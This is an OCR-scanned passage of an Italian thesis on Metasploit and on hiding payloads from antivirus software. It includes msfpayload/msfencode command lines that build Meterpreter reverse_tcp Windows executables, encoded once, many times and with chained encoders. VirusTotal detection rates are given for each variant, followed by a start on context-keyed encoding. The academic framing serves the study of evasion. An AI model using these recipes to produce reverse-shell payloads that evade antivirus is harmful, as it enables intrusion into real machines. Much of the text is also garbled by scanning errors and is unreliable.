dalla parte open source di ques \sistema ed ameaga dalle aziende specializzate o
()

fornitrici del servizio, a/t&j%\@/éb la sottoscrizédi un abbonamento. Uno dei maggiori
benefici apportati d@f&({{r;:mework e l'estrema modt#ladel codice. Prima del suo
avvento la creazj@%ﬁi exploit e payload era ummito davvero arduo e pesante, ma
adesso un rr‘n<|/n/ato exploit ha la capacita dsegmare virtualmente anche alcuni
payload. Il codice condiviso e modulare permetterecreazione di codice exploit
sempre piu pulito e efficiente nelle funzionalitabase, oltre che includere fra le sue

parti librerie di base contenute dell’archivio ér@imework.
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Oggi tre sono i piu largamente utilizzati explaiarhework quali: Metasploit

fornito da Rapid7 ], Canvas fornito Immunityd] e Core Impact Pro fornito da Core

Security Technologie9®] [Tab3.2.1]. Nella successiva sezione analizzeraniweve |l

framework Metasploit, in quanto gratuitamente dispile nella sua versione open

source e dalle potenzialita illimitate se giustateariilizzato.

W)
=/
- —
Vulnerability Metasploit Core Impact
. : Canvas
explotations Community Express Prox\ Pro
- Non . (C L . .
Utilizzo commeciale Commerciale %@T@jak, Commercigle Commerdgiale
R 995%
Prezzo Gratis 5000% Q@ Ativo allacquisto +| 30,000 a
anno/utente |-~ 495%ogni3 | 60,000 $
§S 7T mesi
Tabella 3.2-1: prezzi \mine bility explotation
o \\ii;///‘
( ///\\‘ ~>
)/
Metasploit project nas@@mé strumento di retéafiler con 'obbiettivo di diventare
oM

una risorsa pubblica%)//alorizzare la ricerca sviluppo di codice. La piattaforma si

rivolge a espey;i;%é? settore informatico, ma € gpque utilizzata anche da
SOr

/)
appassion n il fine di semplificare le prosexdi penetration testing.
Metasploit project e stato realizzato nel 20084@aMoore ed oggi € reperibile
in tre versioni: Pro, Express e Framework. Questia versione € anche definita

community vista la sua natura open source e settoatatteristiche tecniche e da

considerare la meno pregiata perché sprovvistaldli d@dicata, aggiornamenti circa
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exploit O-day e strumenti di raccolta informaziceuitomatizzati, oltre al supporto
tecnico di un team di ricerca. Nonostante cio riemaomunque un importante mezzo
che se usato propriamente garantisce i risultédterdnziandosi quasi esclusivamente
delle controparti a pagamento, dai prezzi esorbjtper le semplificazione d'utilizzo

concesse.

La struttura di Metasploit Framework [Figs. tipo monolitico

o
componendosi anche di parti aggiuntive modulari. Q\

O

AN

Librerie

b (U
Af'c

Strumenti Rex Interfacce

EVIGED Encoder

Figura 3.2-1: architettura Metasploit

32



La struttura basilare € composta da REX, MSF C&E Base.

REX ¢ il cuore dell’architettura ed e I'acronimo“®uby Extension Library”.
Essa e un insieme di classi e moduli che possoseressitilizzati dagli sviluppatori per
la realizzazione di progetti e strumenti circa Metait Framework. Come ben intuibile

MSF é scritto in linguaggio di programmazione Ruby.

7 }

MSF Core risulta invece il nucleo del frameworl@%,;étituito da piu parti

o

quali: Datastore, Event Notifications e Framewo@ers. Queste parti sono
((

responsabili di fornire un interfaccia tra i madulplug-in e il framework stesso.
N

Seguendo l'approccio orientato a oggetti di ;9 implesso, lo stesso framework si

puo considerare una classe instanziabile e@%aome un oggetto.

V(U

MSF Base funge da interfacci%tt\@ﬁ Core e ldevparti del framework quali
( —

interfacce, Plugin e moduli. Essoﬂs;}%@npone dipaeti: Configuration, Logging e
V// \r‘r‘/
&

Session.

Tralasciando I'architettura,’il vero motivo d’'iméssa dell’'utente nel framework
)
e rappresentato dai Hidi//che esso mette a dm@posi dell’utente. | moduli

=N
. (C) e . . . .
consentono I’mteraz&r@sempllflcata attraversassl e metodi, con le varie parti

d’utilizzo come @gqﬁ;ﬁ/ payload, NOP, Encoder edulo ausiliari. Esistono ulteriori
parti aggix@c/j\ginite Plugin che consentononubdificare la struttura stessa, a
piacere dell’utilizzatore, per semplificare ultereente procedure o routine.
L’interazione tra utente e framework e eseguitiaaerso le cosi dette interfacce
che si possono dividere in linea di comando e GQU#l primo gruppo, troviamo la

“console” linterfaccia testuale piu popolare edilizgata, I'interfaccia base del
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framework da cui e possibile accedere a tutte ke femzionalita e dalle maggiori
potenzialita. A seguire sono state sviluppate igitemterfacce eseguibili direttamente
dal terminale dedicate a particolari compiti, coreploitation, semplificando le
procedure necessarie e mettendo di fronte altaaliore un nuovo strumento piu diretto

da usare anche se per certi versi piu limitatoqBsta tenden

N

oviamo:

N

- Msfcli: console dedicata all’esecuzione degli el@cy///

\?\\\

- Msfpayload: console dedicata alla creazior}e%i@yl
(a
- Msfencode: console dedicata all’ utlllzzvﬁmm encoding

N\,
- Msfvenom: console ancora in s&;@ che fonde I&epzialita di

msfpayload e msfencode //\
(0

Per quanto riguarda le interfacce di t}p&@“Ul akahio si stringe. Le principali sono

due e sono purtroppo una mergﬁ%zmne di queisponibili sulle versioni a

2
ottimi strumemtepitare la riga di comando:

pagamento, ma comunque i

- Msfgui: interfac?a S\CI‘I ;in java, non molto usatstabile.

- Armitage: I'i { Téc;a grafica forse piu promettenin grado di fondere la
facilita d’ u\ﬂh;zigy di un interfaccia grafica com Ipotenzialita della riga di
comanﬂ%@rmettendo nello stesso momento di leva@n entrambi.

Per @lﬁére il framework si pud integrare camvigi di vunerability

assessment, grazie i quali € possibile scansiooaee rete, importare i risultati
all'interno del database di supporto di Metasptasiiccessivamente analizzare i risultati

e effettuare test sulle eventuali vulnerabilitavete o probabili. Nel caso specifico

Rapid7, l'attuale distributore di Nexpose e Meta#plha ottimizzato, e consente,
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I'utilizzo combinato di entrambi gli strumenti coda consentire una copertura della

procedura di penetration test dall’inizio alla fiirég3.2.2].

Automated Expert
Risk Intelligence Risk Intelligence

Vulnerability Management &
Security Configuration Assessment

Penetration Testing &
Threat and risk validation

Figura 3.2-2: kit software Rapi7, http://www.rapid7.com/prodocts/index.jsp

S

3.3 Payload @
3.3.1Che co no

Il payload e la parte di codice che se eseguitarssistema puo avere vari effettivi, a
seconda di come e stato progettato. Viene defindme la runtime di un virus

informatico che ne estende le funzioni oltre I'mit;me del sistema. Si intende quindi
payload qualsiasi operazione che a tempo determicatisale o attivato da un evento, €

mandata in esecuzione da un virus. Nel gergo comaneviene posta molta attenzione
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alle differenza stilistica tra virus, malware e joaygl, e quindi nella maggior parte dei

casi il termine virus sta ad indicarli tutti. Neétthglio, i virus informatici sono un

particolare tipo di malware, composto anche da gatti, in grado di duplicarsi e

diffondersi in modo automatico tra i vari sistemfarmaci con cui puo entrare in

contatto. Da qui I'assonanza del termine con i svibiologici. Mentre i malware
c/f///:: \(\\ \\

informatici sono generalmente composti da due :pmtk&%ﬂi@/‘@ia analizzato, e |l

o
payload. Se il primo ha il compito di sfruttare Lmain;%@ita col fine di penetrare
(a

{
emxyodice malevole che viene

allinterno del sistema, la seconda, e effettivara
|
N

mandato in esecuzione. Naturalmente esis}/g@xpm agiscono singolarmente,

come nel caso degli exploit DoS, oppure,/eﬂt%ccmécaso degli exploit Execution

N .
Code, che consentono dopo aver crg@ojlma sitieazlostack o heap overflow di
( —

inserire un codice eseguibile diret}{am%[e in meand@uindi sia exploit che payload
/)T

& _ _

ente o comhimatée, dimostrando la loro

possono essere utilizzati

'estrema modularita e g;/iystific ndo ancor piu ilimko di soluzione framework
0O

preposte esattamente &\&\@sﬂutilizzo.

«f/&\J
Esiste un es&%@' varieta di payload e la loroxcgale catalogazione é

i ) . . . . .
solitamente fatta@;%mdo lo scopo a cui sono gtegoa i molti troviamo:
(C//N\>
(&
- oor: programmi che consentono un accesso uonizzato ai sistemi
in cui sono eseguite. Nella maggior parte dei casio installate da altri
payload e non sempre un software malevolo, ma postmgere da sistema

d’accesso d’emergenza
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Trojan horse: programmi che all'apparenza conteagmtruzioni lecite
all'utente, ma che in background svolgono attidié@nose

Spyware: sono software principalmente preposticaagliere informazioni
all'insaputa dell’utilizzatore, memorizzandole ifefo inviandole

Rootkit: sono programmi preposti, non a n:\funeioassplicitamente

\:\\\C

[ (C

|

N
malevola, ma al camuffamento di altri, come pw

N —
Keylogger: programmi che consentono gi/%lsgstraualsjasi digitazione
((

dell'utente //\\\

N4
Bomba logica: particolare tipo di payload; checsitena solo in presenza di

determinati eventi o stati del sis Nnche @s8pcontenere altri payload
—7 | (/\" )
r’(ﬁ §\\/

=

N

S /“’//\\" 7
&

37



Capitolo 4

Camuffamento payload

Nel capitoli precedenti abbiamo analizzato in medperficiale, ma sufficiente, alcuni
’//////7\@\\\‘
dei principali aspetta legati alla sicurezza deyet alcuni We programmi che la

&
compongono come i sistemi anti-virus. Successiv@@piamo analizzato alcune
\\//
delle componenti che si prefiggono il ruolo inverﬁmg\i violarla. In particolare, ci
\\\ |
testing, analizzandole singolarmente e nellorogiesso.

7
— (Y

. AT o
In questo capitolo andremo @>tt“\(at§$1re in modorappdito il vero soggetto
( —

7
siamo molto soffermati sulle parti che conggd%g@aornetodologie di penetration
(r

d’'indagine di questa tesi: I'offuscam L dei pagoai sistemi anti-virus. Di cosa
‘\} J/«’/ )T
&/

stiamo parlando e perché
Come gia puntualizzato ‘precedentemente, al giadfepgi la stragrande
@
maggioranza degli utiliz@@éﬁdi sistemi inforn@ithe hanno accesso alla rete e di tipo
AT
desktop come personal/ computer, notebook e netbsekza perd dimenticarsi
'aumento cresqe%fdegli utilizzatori di tipo stphione e tablet. La stragrande
“\5/// :‘“'7
. < . . . . .
maggioran guest’'utenza non possiede grandisocemze informatiche e affida la
propria sicurezza informatica a usi comuni comalizzare un buon antivirus”, per
garantirsi I'immunita dai “virus”. Questa pratida, molti casi, consente di garantire un

buon aumento del grado di sicurezza soprattuttivodite a vecchi malware di rete o

attaccanti poco esperti.
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Su queste base, andremo ad analizzare diversedolegee e strumenti che
dovrebbero consentire |'offuscamento dei payload smtemi anti-virus cosi da
permettere la loro esecuzione indisturbata nekrmiat senza la possibilita di essere
rilevati. Per la rete, sono disponibili moltissimienostrazioni che cio sia possibile, ma

molte di essere sono obsolete o effettuate in eamifavorevoli ovvero non veritiere.

o
Metodologia di test 4,%

\
Nella nostra indagine cercheremo di emulare unm@sistema operativo utilizzato
‘ ‘
N/

da un utente medio, fornito di tutti gli aggiorn}a;%‘wsistema disponibili e un sistema

di sicurezza anti-virus liberamente disponipile

//
/)

/\\5‘/&%

sukrcato, anche esso aggiornato

all'ultima release e signatures.

Sistemi operativi

| sistemi operativi utilizzati//saran o Microsoftrpemotivi gia elencati. Utilizzeremo la
()
versione XP SP3 con t@@ﬂ//aggiornamenti diesisd, visto che attualmente e ancora
A
la versioni piu Iarg%\éﬁe utilizzata. In commersiono presenti altri due sistemi

operativi Microsgﬁ,\%p:t?'evoluti quali Vista e 7.tést svolti hanno validita anche per

/N 7

/S
questi S|st@
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4.1 Encode

4.1.1 Cosa cos’e

Letteralmente encode significa codifica e rappresama sequenza d’operazioni,
normalmente eseguite da un algoritmo, che assaara aleterminata informazione una
72\

sequenza di simboli scelti da un insieme chiambé#beto, a{su;é/assomato un insieme
di regole di composizione che consentono di caxﬁr/ ccessioni di simboli. La

codifica e alla base del mondo informatico. Ba@ la codifica su base 2 o un
programma il quale per essere eseguibi m unoledbre necessita una
rappresentazione sotto forma di |stru2|on|/g§t§m0|rmatl memorizzabili e facilmente

manipolabili. O&:{/;

Il termine estende il progﬂe&éignlflcato a secandellambito d'’utilizzo.

Y
esso € agtmai qualsiasi forma d’associazione

Assumendo il suo significato cla

simbolo-significato e ne sono chiari esempi i liaggi di comunicazione da quelli

umani a quelli mforma@;ﬁt\gm\;sto tipo di coddi@ detta di carattere. Sempre sul lato
informatico esston%o;hflche di tipo compressiahe indicano una tecnica
d’elaborazione i@m%cﬁe permette la riduzione dejlentita di bit necessari alla
rappresentazione ic)/a;rtendo da un precedente forEsgmpio sono i moderni algoritmi
di compressione file o editing audio/video.

Tornando al nostro ambito applicativo, la codificd@tografica e quella di maggior

interesse. Essa é di tipo carattere, ma si difaeper il fine: tratta dei metodi per

rendere un messaggio in chiaro, cioé comprensibffascato in modo da non essere
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comprensibile a un utlizzatore non in possessdedetgole di composizione.

L’applicazione al mondo della sicurezza informatiga particolar modo dei codici

malevoli, si sintetizza nella modifica della staut in modo che essa non sia piu

facilmente interpretabile. Uno dei maggiori eseppindi € rappresentato dai metodi di

signatures dei sistemi anti-virus: l'analisi di wodice codificato e alterato nella

struttura ha una maggiore possibilita di passarsitipa @'I controllo visto |l
o

mancato riscontro con la propria firma standard. \

Andiamo ora ad analizzare nel medio dettaglio-cemesompone la codifica di

un payload e la sua struttura. &

4.1.2 ’applicazione ai payloa @

| payload codificato efficacemente pone dedlguente struttura [Fig4.1.1].

Encoded
payload

Figura 4.1-1: struttura payload codificato

Analizziam ni parte singolarmente:

NOP SLED
Le nop sled sono rappresentate da una sequenzaedi dhe equivalgono a operazioni

del tipo no-operation nella struttura [Fig4.1.2Jueglte operazioni sono distribuite in
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maniera randomica nel codice, ed a ogni sled sagugperazione di salto a cui segue
un'‘altra sled. A termine di un determinato numersietl, che puo essere anche casuale,
un salto porta all'esecuzione di un determinatedtu di codice come un decoder.
Questa tecnica e soprattutto utilizzata negli exglotipo buffer overflow, dove una

sezione di memoria viene corrotta con operaziorp, ® randomicamente, essere
7

/
[
[

possono portare all’esecuzione del codice malevoédtato ‘\Q%Aﬁ/}ﬁéecuzione indefinita

&
del programma. Vista la diffusione dei questa m;;i/t@@sistemi antivirus hanno

misure di ricerca nop sled, quindi e diventata lwo%rﬁz inserire operazioni casuale e
‘ )

N/
innocue nelle sled. ;&

(

o~
S0p

)
Qo

B ellcode

// 2 nop nop nop nop

%&/\\7 nop nop nop | nop
\C//’ nop | nop ";La::;e m

\\

//7\\/‘ Return Address Guess
( /
"
nop | nop | nop nop
T
NOP-Sled
nop nop relative

jump "I

Figura 4.1-2: sistema NOP SLED, http://upload.wikimedia.org/wikipedia/en/c/c7/NopSled.png
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DECODER ed ENCODED PAYLOAD

Queste due strutture rappresentano il risultatia @eldifica del payload. Come intuibile

“encoded payload” rappresenta la nuova struttusaah del payload mentre “decoder”
rappresenta la chiave di lettura. Questa parteevsta davanti al payload e viene

comunemente definito “stub”. Quando il payloadifiocdto en 'g \I esecuzione, lo stub
/

4 (\\
viene eseguito ed effettua la procedura mversacaﬂi@a/ ;ul codice alterato,

riversandolo direttamente nella memoria si sister f%l@ il codice originale sia
((
esegquito. //\\%
N
Questo procedimento oltre che rappé%a&are urdovatiezzo per evadere

soluzioni come IDS e anti-virus € anche i@f%@liﬂhinare | caratteri malevoli come

o
x00 o xff. Un payload al suo stato g{%zﬁ e rappredo da un serie di caratteri, o

operazioni macchina, all'interno d;ﬁ}%ﬁro filense un file ruby. Alla creazione del

(Y

payload la serie di caratteri ificata mrnwovo linguaggio comprensibile alla

macchina target. | caratteri X00 e xff, rappresemtaperazioni macchine che in alcuni

o

ambienti o situazioni, ?ﬁh/non sempre, potrebbessere codificati ed interpretati
-

male e far termmar%{)zuzmne prima del conaphemnto, cioé bloccare il payload. La

loro ehmmazmngf%rﬂdenmale ed apporta un atermodifica alla struttura base del

’(//
payload, n@unque non assicura un aumentovedblid’ offuscamento.
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4.1.3 Tipi di encode

L’encode effettivo viene effettuato da specifi¢ggaitmi. Questi si possono
principalmente riassumere in due main group: patiitico metamorfici.
Encoding polimorfico, cripta il payload attraverdelle random key (chiavi o

=N\

cipher), la decodifica e I'esecuzione € in runtirhe. key \’s\c@g/walori aggiuntivi che
No—/

vengono inseriti nella procedura di conversione &sﬁ\%elazione attraverso una
funzione xor ciphett , al “carattere”. La proceddrafe@flca prevede la medesima
procedura. Poniamo un esempio [Fig4.1.3] co\%%é/aq)arola “Uni” cioe 01010101

01101110 01101001 in ASCII 8-bit e utlllzz/a@ea causale 01010101.

C/Or
U N 42f§§7 |
N
01010101 011011 01101001 o
N ®
01010101 = 01010101 =
0000000 00111100 Encoding
@
%&g;/
0000000 w2f900111011 00111100 o
01010101 <£§>> 01010101 01010101 -
7>>
010%2321 & 01101110 01101001 Decoding
U N |

Figura 4.1-3: esempio XOR

In questo caso, grazie all’utilizzo di una key ramica la codifica risulta molto piu

sicura di una con la medesima chiave ripetuta egmte piu volte. Sfortunatamente in
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molti casi questo tipo di codifica € vulnerabile atlacchi di tipo known-plaintext
[Fig4.1.4] ove conoscendo il plaintext (codice sorig) e il ciphertext (codice

codificato) é possibile ricavare la chiave ovvero:

PLAINTEXT XOR CIPHERTEXT = KEY
Figura 4.1-4: sistema know-plaintext @j//“//‘

&
/%
Encoding metamorfico, re-implementano |Ikﬁt dligtoni con uno nuovo
( \
d’istruzioni equivalenti. Si creano opportuni o éonsento la creazione di codice

equivalente in modo automatico. Le tecn }ﬁ@tezpossono essere: inserire NOP

istructions, scambiare registri, modlflcaTe\Wﬁosdl controllo attraverso jump o
)

riorganizzando alcune istruzioni indi %}@entl

§/Dy

nd rispettivamente \ginegvantaggi nel loro

Queste due classi pre

utilizzo contro un anti-virus. Di\\\:tti\ﬁ e a un rieewmento di tipo “signatures matching” la

tecnica polimorfica pem‘@e\r\e evasione del payloaghtre la tecnica metamorfica

permette I'evasione @t}jecoder stub polimorfica. fidnte a rilevamenti di tipo
-

euristico la metod@ng\J/ra metamorfica ha la meghoalcuni casi, visto che alcuni byte

(RS

d’istruzioni /po e&béro avere caratteristiche ginal flusso corrente. Di fronti a
un’analisi statica ovvero di controllo delle sokrgpdi codice, si possono avere maggior
probabilita d’evasione se presente codice polimmorfio codice superfluo. Per
concludere, in presenza di un analisi dinamicajaods comparazione dinamica di
registri, codice, creazione processi e altro, ésibde scovare il codice malevolo

esclusivamente se il codice polimorfico viene enmuleorrettamente. L'esistenza di
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soluzioni, quali sandbox, rendere quest'operaziooéo efficiente e non permettere la
corretta esecuzione del codice.

Per completezza nominiamo anche un terzo tipo ché® quello alfanumerico.
Questo tipo di encoding puo essere riassunto gsoidi metamorfici. Molto utilizzato
prima dell'avvento del codice polimorfico. Il suainzionamento consiste nella

72N
sostituzione dei vari “characters” con simboli p)resclu&l\\ban'/v/ente da un insieme
formato da caratteri ASCIlI e Unicode. Attualmentﬁ:@saﬂ, ma la loro singola
(i
efficacia € al quanto bassa. Nel gruppo degli@i@p%lfanumerici sono presenti

N/
diverse varianti come quelle che utilizzano (;;émente lettere minuscole o lettere

maiuscole.

4.1.4 MSFENncode

MSFEncode e un pratico tQO\| presente di base aehdwork 4.0 di Metasploit, e si
)

prepone I'obbiettivo dlﬁﬁ@pf/etare il tool MSFPagtboltre che interfacciare ad alto
livello I'utilizzatore m@varle procedure di@de di un payload. Questo strumento
permette esclusgf/v?/n%te la creazione di payloaddsibbne, se usata in modalita
terminale, @0 disaccoppiati da un exploit, ne@aci di essere successivamente

accoppiati o usati singolarmente. Nel caso di wopgiamento diretto con un exploit, il

suo utilizzo e implicito in MSFConsole.
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Andiamo ora a analizzare il tool nei suoi vari asp€ome anticipato esso puo
essere utilizzato esclusivamente accoppiato a M@é&a quindi diamo un rapido

esempio di questo tool.

| comandi basi si possono sintetizzare in [Fig4:1.5

Msfpayload —h

sfpayload

DN
4. sfpayload help

Portando il tutto a un linguaggio facilmente conmgibile:

/7%/

CA)
msfpayload path—pay@ﬁic///opzioni_del_payload tipo_fi le_output >

path_file_output @
Ogni paylo%ssiede un proprio gruppo di opzébr@ possono essere sia obbligatorie

che opzionali. Nel nostro caso, da qui in poi dargrar scontato che faremo sempre
riferimento al payload Meterpreter/reverse_tcpuathente uno dei piu diffusi e

pericolosi payload per offensiva su multipiattafasnm grado di fornire all’attaccante
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un completo toolkit ampliabile da script e plug-ifista la sua notorieta, Meterpreter e

anche uno dei payload con il piu alto tasso dvaileento da antivirus.

Integriamo ora MSFEnNncode:

| comandi basi si possono sintetizzare in [Fig4:1.6

msfencode -h

Q Figura 4.1-6: msfencode help

msfpayload ... R | msfencode options -t formato_outpu t -o
path_file_output

options:
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-c X = x indica il numero di cicli di encode che de vono essere

effettuati
-e path_encode = indica quale algoritmo di encoding deve essere
utilizzato
-X path = indica il cammino del file che si vuole u tilizzare come
templete di camuffamento
D)
= indi i i i (@) i
-k = indica che il templete di camuffamento e il pa \\\\\/// yload siano
esegquiti su thread distinti Q\
-p x = x indicata la piattaforma di riferimento del H I'encoding
/7
-a x = x specifica I'architettura di riferimento de ‘1 /\\\w I'encoding
&;4/
-b ‘Xxxx\xxx’ = tra parentesi separate da un back_s //x 7 lash devono essere
inserite le bad words che vogliamo eliminate come/w\\x \x00\xff’
N7
~
PN
Da notare che il formato d’uscita Payloadi éigb raw (R o grezzo). Questo
//\ 7

Y7

(G

perché il file per essere codific gve essessgia in vesione codice macchina e

successivamente, nell’encode, verra specificatdpiat d’uscita.

// )
"y
CREAZIONE PAYL@E ENCODING BASE
Eseguiamo un gs%pﬁo pratico, iniziando con la fiempreazione di un payload e
successivame fe%a codificata basandoci sullihgorshikata_ga_nai (letteramente
‘non c’e via d’uscitd, un algoritmo di tipo polimorfico, consideratdusimente il piu

efficiente disponibile. Successivamente dopo lazmne andremo ad analizzare i due

codici attraverso un servizio online di virus-scéuguale consente di scansionare i file
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inviati da ben 42 anti-virus e ricevere un repddel nostro caso utilizzeremo

virustotal.com 10].

v total

EHAISE cREd feided S oocDD0a5e | 28 ¥ o4 cE MR dEC e S 3 PO T AT O 70
Fiz nare FESCMETIHEL S0

Dstmction rafiz: 1 /42 o ‘-D @[}

Ansyssdsts 010703333742 UTC i 2gkml & o epa) \
S— @

Anvinug Facus Upcats

AneLao-y3 - % 0130703
A - 042070
AR - 20130703
st - iyl )
) - 20420703

ERDefennar - @ a0iz0mE
St & 10
CAT-ClcxHi i Php el
Ciamay an20m3
COMITROUC AU BT
= - 2m1z07mE
=1 - AHINTE
Emsiszf @ - ania07me
=t Kﬁ = b
=t - 2010703
F-Erciem - amammE
Farfined @ - a0{0mms
omtn - a0Mz0mE
Aana - 2010703
Jmngmi - amammE
BT At - an4a0m3

- gt
e - 2010704
BsAdesEEE Hon - MY
Aol - a0420me
[ renzrd - a0Mz0mE

Figura 4.1-7: pagina lI'esempio di virustotal.com
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Msfpayload windows/meterpreter/reverse_tcp LHOST=19 2.168.y.x LPORT=z X
> payload.exe

neterpreter/reverse tep LHOST=192.168.1.1 LPORT=66

Figura 4.1-8: payload meterpreter base /////ﬁ
[
SHAZSE: aealeafacOblbIelfdaeebE3054031 cDbeDEBBQdé@%CBﬂJZB b9 3467 a7
(r
File name: payload. exe x\
~\

/
Detection ratio: 31/ 42 S\V@J
Analysis date:  2012-06-10 19:23:30 UTC (0 minuti s@

Figura 4.1-9: analisi paylo@erpreter base
r,(/? \j
)
La semplice creazione di un paylo/@\\q%guibilerﬁbiante Windows [Fig4.1.8] € una
VK\/}
soluzione che non adotta nessun.ti o di protezsnmeilevamento, e presenta un tasso
di rilevamento di 31 su 4%§ti irus [Fig4.1.9] €icirca il 73,8% delle soluzione di
mercato rileva il paylo%/ alore anche se aitdrcomunque interessante visto che
r@’\

un payload nella s%@@ma pure e ben conosciutanta € riuscito ad eludere 11
I o ) .
soluzioni anU-vwo (\%ﬂza effettuare su esso mespuocedura di camuffamento. Resta
( ) e
/
il fatto che ioni come Avast, Antivir, NortoNIcFree e altri, ovvero le piu diffuse,

effettuano il rilevamento.

Ora proviamo a codificare lo stesso payload utliedo 5 cicli di codifica [Fig4.1.10].
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msfpayload windows/meterpreter/reverse_tcp LHOST=19
| msfencode —e x86/shikata_ga nai —c 5 —t exe —o0 pa
file payload_enc.exe

2.168.y.x LPORT=z R
yload_enc.exe

edet

3 ga nal succeeded with

eded with

1.1 LPORT=66

Trto o
ANLEL ©

N/
Figura 4.1-10: payload meterpretfe@e singolo
(r

SHAZEE: Bb32b08b2E8a21 EEBQEEQDQCE@H'I fB2a7 d2f2e58b8cfa363 08296002
A

r’//?

File name: payload_enc.exe \\2
Detection ratin. 28/ 42 @\&
JFé}();minuti 340 )

Analysis date: 2012-06-10 15:15;

Figura 4.1-11: analisi payload meterpreter encode singolo

O

Effettuando un encod@hasilare, ma con il mightgoritmo disponibile, la soluzione
LJ//

non e di molto migliorata. Le maggiori soluzionetiouano ha rilevarlo, passando a 29

su 42 [Fig4.,1/1 {@e/ 69% delle possibilita deviamento.

ENCODING MASSIVO E MULTIPLI

Ora proveremo la creazione di un payload attravBastmzione massiva dello stesso

algoritmo cioé aumentando nettamente i cicli ddmone da 5 a 20 [Fig4.1.12].
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2.168.y.x LPORT=z R
ayload_enc.exe

msfpayload windows/meterpreter/reverse_tcp LHOST=19
| msfencode —e x86/shikata_ga nai —c 20 —t exe —0 p

1.1 LPORT=66

al succeeded with size

425 (1

succeeded with si

succeeded with size 452 (itera

Figura 4.1-12: payload meterpreter encod Q%{o massivo
N/

/§§

L’adozione massiccia di uno stesso algori}g}%\haammu svantaggi che vantaggi. Per
i

plessdi codice aumentano in modo

iniziale, a ogni iterazione le dimensiofi’
S
evidente e l'eccessiva presenza/;%mb mette lernaé gli anti-virus che prima
v (0
K\

ignoravano il file. Effettuando u Isi sullesso payload, ma con un solo ciclo di

encoding la soluzione € legger nte migliore paksala 30 su 42. Cio dimostra che

d %g@
non sempre eccedere —

@

Ora proveremo %I'Tz//z:are i concetti precedent@enappresi sui vari tipi di algoritmi
pl

b
cioé misch piu tipi di codifiche [Fig4.1.13].

msfpayload windows/meterpreter/reverse_tcp LHOST=19
| msfencode —-e x86/shikata ga nai -c 3 -t raw
x86/jmp_call_additive —t exe —c 3 —o payload_multi.

msf

2.168.y.x LPORT=z R
encode -e
exe
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a nal succeeded with e 317 (iteration=1)

nal succeeded with size 344 (iteration=2)

ucceeded with size 371 (iteration=3)

with size 481 (iteration=1)

Figura 4.1-13: payload meterpreter enco@%’rg{giplo

SHAZSE: 3d3e2dB3hAd22da039d 2 focas2hdd %350991 cdf3db02f41886d7 397023
File name: payload multiexe @&
Detection ratio; 27 /41 @v%)

Analysis date; 2012-06-10 20:42:56 L 1 minuto ago )
Figura 4.1-14: an a d meterpreter encode multiplo
S
La combinazione di due @fiche con basso tasgerdzione ha dato un risultato
PO
ulteriormente positivo@\ 42 [Fig4.1.14] cio®&
%//

zare altri casi, non si é fiuaaaggiungere un risultato migliore.

ibili sono due: o aumentare il nundelte iterazioni o il numero delle

Le strade po
codifiche, ma in entrambi i casi si ottiene l'eftetopposto. | sistemi di sicurezza
interessati nella scansione riescono a rilevarpatenziale minaccia, anche se non
riescono ad accedere al codice corretto del paylwadsemplicemente verificando di

quale natura sono gli stump iniziali. Nel caso 'délizzo di un encoding come
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jmp_call, che effettua procedure in stile NOP, mafitivirus rilevavano codice di tipo
jmp e quindi potenzialmente danno. Peggiore laagitne di fronte a codifiche di tipo
alfanumerico, ormai da considerare obsolete editaei.

Gli ulteriori test svolti con bad words o injectian un altro file eseguibili non
migliorano la situazione mantenendo il rlsultatceqmdente il migliore quindi ne

illustreremo solo i risultati [Tab4.1.1]. \\\\3///

\
Encode | Encode bad En Encode singolo| Encode

Meterpreter Base %
singolo words JL(P&' massivo multiplo

% di NS
73.8%| 69.0% 69.0"//(&/()’” 69.0% 71.4% 64.0%
rilevamento (C 4\
N
Tabella 4.1-1: tasso rileva ayload trattati con msfencode
S

)

S

CONTEXT-KEY PAYL@A NCODING

Questo tipo di enc&% rappresenta un tipo difeadimolto avanzata e difficile da
applicare p é%e}cessna di un ottima conosadirzame un payload e fatto e di come
€sso Iavor%emoria, oltre a fondersi con ppindi exploitation di vulnerabilita.

Vista la difficolta di applicare questo metodo adituali piattaforme prese in esame,
cioé completamente aggiornate ed in cui non soresenti vulnerabilita conosciute,
baseremo la nostra spiegazione su vulnerabilitdsmuate e presenti in versioni non

aggiornate di Windows XP.
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In cosa consiste esattamente il context-key pdfldaa maggiore vulnerabilita
di un algoritmo di codifica come shigata _ga naiappresentata dalla possibilita di
interpretare il proprio stub, visto che esso comile key di codifica. Come intuibile dal
nome, context-key, questo metodo permettere d'eteele key di codifica non piu dallo

stub, ma direttamente dal contesto del processomBggior chiarezza introduciamo i
72N

L. . e . (C )
. \l S
termini a cui faremo riferimeto: &\5///

o
- Contextual Keying: il processo di selezipp@el&ysk dal context, che
([

POSSONO essere conosciute o antmpab»b\\

\)
- Context-key: sono le keys restituite ;&;@ntexmmg
- Context-address: I'indirizzo maz,%‘ in cui le &esaranno rintracciabili
I hi @ ‘0&'7
(! )
nella macchina target. AS)

- Memory map: un file cr}éw%entera frammenti dii@®dtatico e la loro

Y
dell'applicazione iesecuzione

relativo indirizzo allinte

Per prima cosa, l'attaccante de é ottenere il corde riferimento cioe i dati statici
@

dell'applicazione di nf&‘?@nfo Quest'operaziogefacile se & possibile riprodurre
I'ambiente desecu%ﬁ//dellapphcazmne e l'esBone, oltre che aver accesso
all'applicativo stéss%é/o alle sue librerie dineln@. In questo modo, le context-key
possono e% ggélte dai valori statici che setemno nella memoria di processo.
Potremo scegliere tra locazioni statiche contenemtiiabili d’ambiente, stringhe
statiche, o piu semplicemente, istruzioni d’esemueidell’applicativo come file .text.

Il primo passo da compiere consiste di creare mmag@pa di memoria del

applicazione. Come? O eseguire un sondaggio swhaaria di processo per eliminare
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sequenzialmente tutte le locazioni variabili opparalizzare dove i .text data, di un

applicazione eseguibile o di una libreria, saramimappati in memoria. Fortunatamente

per noi esistono due

applicazioni che fanno al cassiro. L'utility linux smem-map

[Fig4.1.15], la quale effettua un sondaggio sullemmoria e restituisce i dati statici di

processo in memoria.

smem-map —h

4.1-15: smem-map help

=N

)
Il programma si esegu&%\%ﬁcemente lanciandamlando:

N

o
5

)

‘ smem-map <pid> <output. ‘ap>

Oppure il tool di;Metasploit MSFPescan [Fig4.1.libjjuale analizza i file per sezioni,

con dati che saranno

caricati in memoria cometiet. Il risultato dell’operazione sara

una memory map dei dati statici caricati in memai@aun eseguibile o di una libreria

dinamica.
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msfpescan —h

msfpescan —context-map <outdir> <files> |

O

La memory m@ nuta contiene per ogni frammeitdato una struttura
=

formata da: @
(NS
- 8 it z@'ﬁdicare il tipo di dato
